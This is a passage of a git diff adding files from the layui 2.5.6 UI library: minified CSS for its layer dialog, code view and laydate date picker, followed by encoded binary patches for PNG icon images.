*{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.layui-m-layermain,.layui-m-layershade{position:fixed;left:0;top:0;width:100%;height:100%}.layui-m-layershade{background-color:rgba(0,0,0,.7);pointer-events:auto}.layui-m-layermain{display:table;font-family:Helvetica,arial,sans-serif;pointer-events:none}.layui-m-layermain .layui-m-layersection{display:table-cell;vertical-align:middle;text-align:center}.layui-m-layerchild{position:relative;display:inline-block;text-align:left;background-color:#fff;font-size:14px;border-radius:5px;box-shadow:0 0 8px rgba(0,0,0,.1);pointer-events:auto;-webkit-overflow-scrolling:touch;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.2s;animation-duration:.2s}.layui-m-layer0 .layui-m-layerchild{width:90%;max-width:640px}.layui-m-layer1 .layui-m-layerchild{border:none;border-radius:0}.layui-m-layer2 .layui-m-layerchild{width:auto;max-width:260px;min-width:40px;border:none;background:0 0;box-shadow:none;color:#fff}.layui-m-layerchild h3{padding:0 10px;height:60px;line-height:60px;font-size:16px;font-weight:400;border-radius:5px 5px 0 0;text-align:center}.layui-m-layerbtn span,.layui-m-layerchild h3{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layui-m-layercont{padding:50px 30px;line-height:22px;text-align:center}.layui-m-layer1 .layui-m-layercont{padding:0;text-align:left}.layui-m-layer2 .layui-m-layercont{text-align:center;padding:0;line-height:0}.layui-m-layer2 .layui-m-layercont i{width:25px;height:25px;margin-left:8px;display:inline-block;background-color:#fff;border-radius:100%;-webkit-animation:layui-m-anim-loading 1.4s infinite ease-in-out;animation:layui-m-anim-loading 1.4s infinite ease-in-out;-webkit-animation-fill-mode:both;animation-fill-mode:both}.layui-m-layerbtn,.layui-m-layerbtn span{position:relative;text-align:center;border-radius:0 0 5px 5px}.layui-m-layer2 .layui-m-layercont p{margin-top:20px}@-webkit-keyframes layui-m-anim-loading{0%,100%,80%{transform:scale(0);-webkit-transform:scale(0)}40%{transform:scale(1);-webkit-transform:scale(1)}}@keyframes layui-m-anim-loading{0%,100%,80%{transform:scale(0);-webkit-transform:scale(0)}40%{transform:scale(1);-webkit-transform:scale(1)}}.layui-m-layer2 .layui-m-layercont i:first-child{margin-left:0;-webkit-animation-delay:-.32s;animation-delay:-.32s}.layui-m-layer2 .layui-m-layercont i.layui-m-layerload{-webkit-animation-delay:-.16s;animation-delay:-.16s}.layui-m-layer2 .layui-m-layercont>div{line-height:22px;padding-top:7px;margin-bottom:20px;font-size:14px}.layui-m-layerbtn{display:box;display:-moz-box;display:-webkit-box;width:100%;height:50px;line-height:50px;font-size:0;border-top:1px solid #D0D0D0;background-color:#F2F2F2}.layui-m-layerbtn span{display:block;-moz-box-flex:1;box-flex:1;-webkit-box-flex:1;font-size:14px;cursor:pointer}.layui-m-layerbtn span[yes]{color:#40AFFE}.layui-m-layerbtn span[no]{border-right:1px solid #D0D0D0;border-radius:0 0 0 5px}.layui-m-layerbtn span:active{background-color:#F6F6F6}.layui-m-layerend{position:absolute;right:7px;top:10px;width:30px;height:30px;border:0;font-weight:400;background:0 0;cursor:pointer;-webkit-appearance:none;font-size:30px}.layui-m-layerend::after,.layui-m-layerend::before{position:absolute;left:5px;top:15px;content:'';width:18px;height:1px;background-color:#999;transform:rotate(45deg);-webkit-transform:rotate(45deg);border-radius:3px}.layui-m-layerend::after{transform:rotate(-45deg);-webkit-transform:rotate(-45deg)}body .layui-m-layer .layui-m-layer-footer{position:fixed;width:95%;max-width:100%;margin:0 auto;left:0;right:0;bottom:10px;background:0 0}.layui-m-layer-footer .layui-m-layercont{padding:20px;border-radius:5px 5px 0 0;background-color:rgba(255,255,255,.8)}.layui-m-layer-footer .layui-m-layerbtn{display:block;height:auto;background:0 0;border-top:none}.layui-m-layer-footer .layui-m-layerbtn span{background-color:rgba(255,255,255,.8)}.layui-m-layer-footer .layui-m-layerbtn span[no]{color:#FD482C;border-top:1px solid #c2c2c2;border-radius:0 0 5px 5px}.layui-m-layer-footer .layui-m-layerbtn span[yes]{margin-top:10px;border-radius:5px}body .layui-m-layer .layui-m-layer-msg{width:auto;max-width:90%;margin:0 auto;bottom:-150px;background-color:rgba(0,0,0,.7);color:#fff}.layui-m-layer-msg .layui-m-layercont{padding:10px 20px} \ No newline at end of file diff --git a/start/layui/css/modules/code.css b/start/layui/css/modules/code.css new file mode 100644 index 0000000..9143a25 --- /dev/null +++ b/start/layui/css/modules/code.css @@ -0,0 +1,2 @@ +/** layui-v2.5.6 MIT License By https://www.layui.com */ + html #layuicss-skincodecss{display:none;position:absolute;width:1989px}.layui-code-h3,.layui-code-view{position:relative;font-size:12px}.layui-code-view{display:block;margin:10px 0;padding:0;border:1px solid #e2e2e2;border-left-width:6px;background-color:#F2F2F2;color:#333;font-family:Courier New}.layui-code-h3{padding:0 10px;height:32px;line-height:32px;border-bottom:1px solid #e2e2e2}.layui-code-h3 a{position:absolute;right:10px;top:0;color:#999}.layui-code-view .layui-code-ol{position:relative;overflow:auto}.layui-code-view .layui-code-ol li{position:relative;margin-left:45px;line-height:20px;padding:0 5px;border-left:1px solid #e2e2e2;list-style-type:decimal-leading-zero;*list-style-type:decimal;background-color:#fff}.layui-code-view pre{margin:0}.layui-code-notepad{border:1px solid #0C0C0C;border-left-color:#3F3F3F;background-color:#0C0C0C;color:#C2BE9E}.layui-code-notepad .layui-code-h3{border-bottom:none}.layui-code-notepad .layui-code-ol li{background-color:#3F3F3F;border-left:none} \ No newline at end of file diff --git a/start/layui/css/modules/laydate/default/laydate.css b/start/layui/css/modules/laydate/default/laydate.css new file mode 100644 index 0000000..b900971 --- /dev/null +++ b/start/layui/css/modules/laydate/default/laydate.css @@ -0,0 +1,2 @@ +/** layui-v2.5.6 MIT License By https://www.layui.com */ + .laydate-set-ym,.layui-laydate,.layui-laydate *,.layui-laydate-list{box-sizing:border-box}html #layuicss-laydate{display:none;position:absolute;width:1989px}.layui-laydate *{margin:0;padding:0}.layui-laydate{position:absolute;z-index:66666666;margin:5px 0;border-radius:2px;font-size:14px;-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-name:laydate-upbit;animation-name:laydate-upbit}.layui-laydate-main{width:272px}.layui-laydate-content td,.layui-laydate-header *,.layui-laydate-list li{transition-duration:.3s;-webkit-transition-duration:.3s}@-webkit-keyframes laydate-upbit{from{-webkit-transform:translate3d(0,20px,0);opacity:.3}to{-webkit-transform:translate3d(0,0,0);opacity:1}}@keyframes laydate-upbit{from{transform:translate3d(0,20px,0);opacity:.3}to{transform:translate3d(0,0,0);opacity:1}}.layui-laydate-static{position:relative;z-index:0;display:inline-block;margin:0;-webkit-animation:none;animation:none}.laydate-ym-show .laydate-next-m,.laydate-ym-show .laydate-prev-m{display:none!important}.laydate-ym-show .laydate-next-y,.laydate-ym-show .laydate-prev-y{display:inline-block!important}.laydate-time-show .laydate-set-ym span[lay-type=month],.laydate-time-show .laydate-set-ym span[lay-type=year],.laydate-time-show .layui-laydate-header .layui-icon,.laydate-ym-show .laydate-set-ym span[lay-type=month]{display:none!important}.layui-laydate-header{position:relative;line-height:30px;padding:10px 70px 5px}.laydate-set-ym span,.layui-laydate-header i{padding:0 5px;cursor:pointer}.layui-laydate-header *{display:inline-block;vertical-align:bottom}.layui-laydate-header i{position:absolute;top:10px;color:#999;font-size:18px}.layui-laydate-header i.laydate-prev-y{left:15px}.layui-laydate-header i.laydate-prev-m{left:45px}.layui-laydate-header i.laydate-next-y{right:15px}.layui-laydate-header i.laydate-next-m{right:45px}.laydate-set-ym{width:100%;text-align:center;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.laydate-time-text{cursor:default!important}.layui-laydate-content{position:relative;padding:10px;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.layui-laydate-content table{border-collapse:collapse;border-spacing:0}.layui-laydate-content td,.layui-laydate-content th{width:36px;height:30px;padding:5px;text-align:center}.layui-laydate-content td{position:relative;cursor:pointer}.laydate-day-mark{position:absolute;left:0;top:0;width:100%;height:100%;line-height:30px;font-size:12px;overflow:hidden}.laydate-day-mark::after{position:absolute;content:'';right:2px;top:2px;width:5px;height:5px;border-radius:50%}.layui-laydate-footer{position:relative;height:46px;line-height:26px;padding:10px 20px}.layui-laydate-footer span{margin-right:15px;display:inline-block;cursor:pointer;font-size:12px}.layui-laydate-footer span:hover{color:#5FB878}.laydate-footer-btns{position:absolute;right:10px;top:10px}.laydate-footer-btns span{height:26px;line-height:26px;margin:0 0 0 -1px;padding:0 10px;border:1px solid #C9C9C9;background-color:#fff;white-space:nowrap;vertical-align:top;border-radius:2px}.layui-laydate-list>li,.layui-laydate-range .layui-laydate-main{display:inline-block;vertical-align:middle}.layui-laydate-list{position:absolute;left:0;top:0;width:100%;height:100%;padding:10px;background-color:#fff}.layui-laydate-list>li{position:relative;width:33.3%;height:36px;line-height:36px;margin:3px 0;text-align:center;cursor:pointer}.laydate-month-list>li{width:25%;margin:17px 0}.laydate-time-list>li{height:100%;margin:0;line-height:normal;cursor:default}.laydate-time-list p{position:relative;top:-4px;line-height:29px}.laydate-time-list ol{height:181px;overflow:hidden}.laydate-time-list>li:hover ol{overflow-y:auto}.laydate-time-list ol li{width:130%;padding-left:33px;line-height:30px;text-align:left;cursor:pointer}.layui-laydate-hint{position:absolute;top:115px;left:50%;width:250px;margin-left:-125px;line-height:20px;padding:15px;text-align:center;font-size:12px}.layui-laydate-range{width:546px}.layui-laydate-range .laydate-main-list-0 .laydate-next-m,.layui-laydate-range .laydate-main-list-0 .laydate-next-y,.layui-laydate-range .laydate-main-list-1 .laydate-prev-m,.layui-laydate-range .laydate-main-list-1 .laydate-prev-y{display:none}.layui-laydate-range .laydate-main-list-1 .layui-laydate-content{border-left:1px solid #e2e2e2}.layui-laydate,.layui-laydate-hint{border:1px solid #d2d2d2;box-shadow:0 2px 4px rgba(0,0,0,.12);background-color:#fff;color:#666}.layui-laydate-header{border-bottom:1px solid #e2e2e2}.layui-laydate-header i:hover,.layui-laydate-header span:hover{color:#5FB878}.layui-laydate-content{border-top:none 0;border-bottom:none 0}.layui-laydate-content th{font-weight:400;color:#333}.layui-laydate-content td{color:#666}.layui-laydate-content td.laydate-selected{background-color:#00F7DE}.laydate-selected:hover{background-color:#00F7DE!important}.layui-laydate-content td:hover,.layui-laydate-list li:hover{background-color:#eaeaea;color:#333}.laydate-time-list li ol{margin:0;padding:0;border:1px solid #e2e2e2;border-left-width:0}.laydate-time-list li:first-child ol{border-left-width:1px}.laydate-time-list>li:hover{background:0 0}.layui-laydate-content .laydate-day-next,.layui-laydate-content .laydate-day-prev{color:#d2d2d2}.laydate-selected.laydate-day-next,.laydate-selected.laydate-day-prev{background-color:#f8f8f8!important}.layui-laydate-footer{border-top:1px solid #e2e2e2}.layui-laydate-hint{color:#FF5722}.laydate-day-mark::after{background-color:#5FB878}.layui-laydate-content td.layui-this .laydate-day-mark::after{display:none}.layui-laydate-footer span[lay-type=date]{color:#5FB878}.layui-laydate .layui-this{background-color:#009688!important;color:#fff!important}.layui-laydate .laydate-disabled,.layui-laydate .laydate-disabled:hover{background:0 0!important;color:#d2d2d2!important;cursor:not-allowed!important;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.laydate-theme-molv{border:none}.laydate-theme-molv.layui-laydate-range{width:548px}.laydate-theme-molv .layui-laydate-main{width:274px}.laydate-theme-molv .layui-laydate-header{border:none;background-color:#009688}.laydate-theme-molv .layui-laydate-header i,.laydate-theme-molv .layui-laydate-header span{color:#f6f6f6}.laydate-theme-molv .layui-laydate-header i:hover,.laydate-theme-molv .layui-laydate-header span:hover{color:#fff}.laydate-theme-molv .layui-laydate-content{border:1px solid #e2e2e2;border-top:none;border-bottom:none}.laydate-theme-molv .laydate-main-list-1 .layui-laydate-content{border-left:none}.laydate-theme-grid .laydate-month-list>li,.laydate-theme-grid .laydate-year-list>li,.laydate-theme-grid .layui-laydate-content td,.laydate-theme-grid .layui-laydate-content thead,.laydate-theme-molv .layui-laydate-footer{border:1px solid #e2e2e2}.laydate-theme-grid .laydate-selected,.laydate-theme-grid .laydate-selected:hover{background-color:#f2f2f2!important;color:#009688!important}.laydate-theme-grid .laydate-selected.laydate-day-next,.laydate-theme-grid .laydate-selected.laydate-day-prev{color:#d2d2d2!important}.laydate-theme-grid .laydate-month-list,.laydate-theme-grid .laydate-year-list{margin:1px 0 0 1px}.laydate-theme-grid .laydate-month-list>li,.laydate-theme-grid .laydate-year-list>li{margin:0 -1px -1px 0}.laydate-theme-grid .laydate-year-list>li{height:43px;line-height:43px}.laydate-theme-grid .laydate-month-list>li{height:71px;line-height:71px} \ No newline at end of file diff --git a/start/layui/css/modules/layer/default/icon-ext.png b/start/layui/css/modules/layer/default/icon-ext.png new file mode 100644 index 0000000000000000000000000000000000000000..bbbb669bb311514baa5db3a6a00b4644d0e280f1 GIT binary patch literal 5911 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 